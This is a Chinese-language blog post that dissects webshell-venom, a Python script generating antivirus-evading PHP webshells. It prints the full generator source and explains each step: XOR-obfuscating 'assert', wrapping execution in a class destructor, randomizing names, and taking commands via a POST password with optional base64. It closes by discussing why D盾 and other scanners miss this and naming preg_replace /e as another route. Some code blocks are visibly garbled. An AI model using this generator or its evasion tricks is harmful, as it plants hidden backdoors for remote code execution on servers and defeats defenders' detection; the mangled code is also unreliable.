0x01 前言

此篇文章主要分析学习一下https://github.com/yzddmr6/webshell-venom
这位博主的项目。

0x02 木马样本分析

这个脚本生成的马举例如下:

我们来分析代码。

首先 这里的函数名和类名都是随机生成的。

我们一个函数一个函数分析。

类 BENM

BENM类中有两个自定义函数:NOFR()函数和析构函数__destruct()

NOFR()函数

此函数代码块执行的操作为异或处理得到关键字然后拼接为字符串,并将得到的字符串作为返回值返回,其中参数名也是随机的。


$bdg='%'^"\x44";
$pmj='e'^"\x16";
$kvg='E'^"\x36";
$hmq='='^"\x58";
$btv='$'^"\x56";
$geo='y'^"\xd";

这里异或得到的字符为:assert

然后拼接为变量$SNBT

最后return 拼接的字符。

析构函数 __destruct

函数调用了当前对象的NOFR方法,相当于执行了NOFR函数,然后将返回值赋值给$AZKY变量。

然后$AZKY($this->JM);

括号外是assert括号内是当前对象调用的JM变量。JM变量是什么呢,后面的代码:

将类实例化为对象 :


$benm=new BENM();

判断是否存在GET参数id且不为null,三目运算取其一,因为当id参数不为空时,需要将POST数据base64encode,当不存在GET参数时,则不需要,应该是为了防止某些waf对应用层的数据进行过滤而增加的模块。后面那个不用说了。

无论如何POST接受的数据是主体。接收获取的POST数据赋值给BENM对象的JM属性。

@$benm->JM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];

所以联系起来看,首先将类实例化为对象,然后接收参数并赋值到对象的JM方法。对象内包含了两个方法,其中第一个方法为通过异或获取assert关键字,第二个方法为拼接命令并执行,通过魔术方法析构函数调用第一个方法,并在析构方法中获取通过异或函数得到的返回值和传入的数据,也就是对象的JM属性。最后拼接命令。

0x03 轮子分析

既然木马已经做过分析,那么轮子肯定也得学习一下。所以拿过来拆一下。

源代码在博主的github可以下载。

import random

#author: yzddmr6
#github: https://github.com/yzddmr6/webshell-venom/

passwd='mr6'
func = 'assert'
shell = '''<!--?php
class  {0}{2}
${1}=new {0}();
@${1}--->mr6test=isset($_GET['id'])?base64_decode($_POST['{3}']):$_POST['{3}'];
?>'''


def random_keys(len):
    str = '`~-=!@#$%^&*_/+?[>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

   
def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))  
   
   
def xor(c1,c2):
    return hex(ord(c1)^ord(c2)).replace('0x',r"\x")

def random_payload():
    func_line = ''
    name_tmp=[]
    for i in range(len(func)):
        name_tmp.append(random_name(3).lower())
    key = random_keys(len(func))
    fina=random_name(4)
    call = '${0}='.format(fina)
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line += "${0}='{1}'^'{2}';".format(name_tmp[i],key[i],enc)
        func_line += '\n'
        call += '${0}.'.format(name_tmp[i])
    func_line = func_line.rstrip('\n')
    #print(func_line)
    call = call.rstrip('.') + ';'
    func_name=random_name(4)
    func_tmpl = '''{
function %s(){
%s
%s
return $%s;}'''
% (func_name,func_line,call,fina)
    func_tmp2='function __destruct(){'+'''
${0}=$this->{1}();
@${0}($this->mr6test);'''
.format(random_name(4),func_name)+'}}'

    return func_tmpl+func_tmp2

   
def build_webshell():
    className = random_name(4)
    objName = className.lower()
    payload = random_payload()
    shellc = shell.format(className,objName,payload,passwd).replace('mr6test',random_name(2))
    return shellc
   
if __name__ == '__main__':
    print (build_webshell())

我们一块一块拆开分析:

调用模块

import random

首先调用random模块:该模块用于生成随机数

定义常量

passwd='mr6'
func = 'assert'
shell = '''<?php
class  {0}{2}
${1}=new {0}();
@${1}->mr6test=isset($_GET['id'])?base64_decode($_POST['{3}']):$_POST['{3}'];
?>'''

这里定义了POST参数的连接密码passwd变量、assert关键字 func变量和脚本框架shell变量。其中shell变量使用三引号包裹,即表示多行字符串,而不需要使用换行符,便于输出美观的代码。其中使用占位符{0}{1}{2}{3}将需要变化的代码块占位,等待最后拼接。

random_keys()函数

def random_keys(len):
    str = '`~-=!@#$%^&*_/+?[{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

此函数在整个脚本中出现过两次,第一次是定义函数,第二次是在下面的函数random_payload中。此函数规定接收一个参数len。函数体代码块定义了由所有可显字符组成的字符串 变量str。然后经过random模块的sample方法随机从str参数中取出len长度的字符串。

该函数用于异或操作和部分变量名获取随机字符。

sample方法:

sample(str,len),从str中随机取出len个字符。示例如下

random_name()函数

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

该函数与random_keys()函数类似,接收一个参数len,用于取随机字符串,且str参数只包含大写字母,这也是一个特征,生成的文件内全大写的参数就是由这个函数生成的。

xor()函数

def xor(c1,c2):
    return hex(ord(c1)^ord(c2)).replace('0x',r"\x")

xor()函数接收两个参数:c1和c2

首先执行ord()函数将字符转化为ASCII码,然后将c1和c2的ASCII码异或运算^。然后将运算结果转化为hex,也就是16进制,最后将转化后的字符进行正则处理,将

0x
转化为
\x
。返回运算结果。之所以要替换0x是因为0x44表示表示的是一个数值,也就是D的ASCII码,它可以用来运算、赋值却不能用来表示字符D,而\x44用于字符表达,可以表示D这个字符。\x44等价于D。

random_payload()函数

def random_payload():
    func_line = ''
    name_tmp=[]
    for i in range(len(func)):
        name_tmp.append(random_name(3).lower())
    key = random_keys(len(func))
    fina=random_name(4)
    call = '${0}='.format(fina)
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line += "${0}='{1}'^"{2}";".format(name_tmp[i],key[i],enc)
        func_line += '\n'
        call += '${0}.'.format(name_tmp[i])
    func_line = func_line.rstrip('\n')
    #print(func_line)
    call = call.rstrip('.') + ';'
    func_name=random_name(4)
    func_tmpl = '''{
function %s(){
%s
%s
return $%s;}'
'' % (func_name,func_line,call,fina)
    func_tmp2='function __destruct(){'+'''
${0}=$this->;{1}();
@${0}($this->;mr6test);'
''.format(random_name(4),func_name)+'}}'

    return func_tmpl+func_tmp2

我们逐句分析:

首先定义空的变量func_line用于承载数据。

然后定义空列表name_tmp

接下来是一个循环,循环数组为func的长度也就是6,循环6次,因为assert长度为6。

循环内的代码为

name_tmp.append(random_name(3).lower())

append()方法用于在列表name_tmp最后(末尾)添加一个元素object,添加什么呢,这里调用了random_name()方法,参数为3,也就是在A-Z随机选三位且不重复,后面又调用了lower()方法,此方法将random_name(3)获取到的字符由大写转换为小写。这一步是生成了assert六个变量的变量名,并存储到name_tmp列表。

下一步

key = random_keys(len(func))

也就是将func变量的长度6传到函数random_keys()执行,返回的结果赋值到变量key。这里取出来的是需要异或处理的左半边字符。

继续跟进

fina=random_name(4)

向函数random_name()传参4,返回结果并赋值给变量fina。这里得到的是拼接所有字符串的变量,也就是上面例子中的返回值$SNBT。

call = '${0}='.format(fina)

这一句则是使用格式化字符串函数format()将生成的变量名拼接为一个php变量 也就是$变量名=,{0}是预设的第一个占位符。此时已经有了值。

继续跟进

又是一个循环

for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line += "${0}='{1}'^"{2}";".format(name_tmp[i],key[i],enc)
        func_line += '\n'
        call += '${0}.'.format(name_tmp[i])

这里从0开始到6结束,循环6次

循环内的代码块:

首先将func列表中的字符与上面得到的key列表中的字符进行逐个异或处理,并赋值给enc变量。

此时enc列表中存储的是func列表和key列表异或后的字符。

继续跟进,是一个拼接字符串的过程,占位符0、1、2代表的分别是name_tmp列表、key列表、enc的值。分别存储着关键字的六个变量名、随机的六个等待异或的字符、已经与assert和key列表内随机字符异或一次得到的hex。然后拼接出了异或模块的六个变量和值并赋值到func_line。每一次循环增加一个换行。

最后一句拼接六个变量的累加。

 func_line = func_line.rstrip('\n')

这一句可有可无了,就是删除末尾的换行,使代码更美观紧凑。

call = call.rstrip('.') + ';'

去除call字符串最后一个点并加分号。

func_name=random_name(4)

随机取4为大写字母并赋值给func_name,这个变量为木马第一个函数的函数名。

func_tmpl = '''{
function %s(){
%s
%s
return $%s;}'
'' % (func_name,func_line,call,fina)
    func_tmp2='function __destruct(){'+'''
${0}=$this->;;{1}();
@${0}($this->;;mr6test);'
''.format(random_name(4),func_name)+'}}'

这一段同样是拼接payload,使用四个格式化字符串占位符,分别为func_name(第一个函数函数名)、func_line(异或模块的六个变量和值 )、call(六个异或变量字符串拼接的变量和值)、fina(函数的返回值)。这是第一个函数,拼接完毕赋值给func_tmp1。

下面的func_tmp2同理,也是将随机四位大写字母(也就是第二个函数中的调用第一个函数的变量名)写入占位符{0}。将第一个函数的函数名写入占位符{1}。最后赋值给func_tmp2。

return func_tmpl+func_tmp2

将两个拼接好的函数作为返回值返回。

build_webshell()函数

def build_webshell():
    className = random_name(4)
    objName = className.lower()
    payload = random_payload()
    shellc = shell.format(className,objName,payload,passwd).replace('mr6test',random_name(2))
    return shellc

第一句获取随机的类名,第二句获取随机的对象名并将所有的大写字符转化为小写。第三句调用函数random_payload(),函数会执行并将返回值赋值到payload变量,现在payload变量中便是两个函数。

第四句对shell变量进行拼接,shell是最开始设置的脚本框架,其四个占位符{0}{1}{2}{3}分别对应classname(类名)、objName(对象名)、payload(类中的两个函数)、passwd(POST参数名)。

最后使用正则将关键字mr6test替换为两位随机大写字母,也就是将接收数据的调用名随机化。

最后返回构建好的shell

最后使用模块私有化输出payload。

0x04 杀软缺陷

杀软毕竟是机器,做不到像人一样灵活,PHP是一门灵活的语言,正是因为如此php免杀的马从来没有断过。

不光光是D盾,包括某里云 某锁 某狗 某塔最明显的缺点便是不够灵活。比如异或,将payload放入类操作、使用析构函数等等,它都无力识别。

0x05 利用缺陷

混淆+类包裹+析构函数+随机参数名。这是博主使用的方法,同时也是目前来说最好的方法。

其实还有更好的方法,便是利用preg_replace 的/e修饰符,具体原因是当以/e修饰符时,将会把需要替换的字符串也就是第二个参数以eval函数执行。

但是这个设定在PHP5.5.0后已经弃用,比如我的vps是PHP7,就不能正常工作。

随着越来越多的危险函数被弃用,绕过已经越来越倾向混淆了,所以以后混淆肯定是过杀软的主要方法。

0x06 结语

以上依然只能适用于php7.1之前的版本。如果有一天强制国内服务器php版本升级,那该怎么办呢???

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注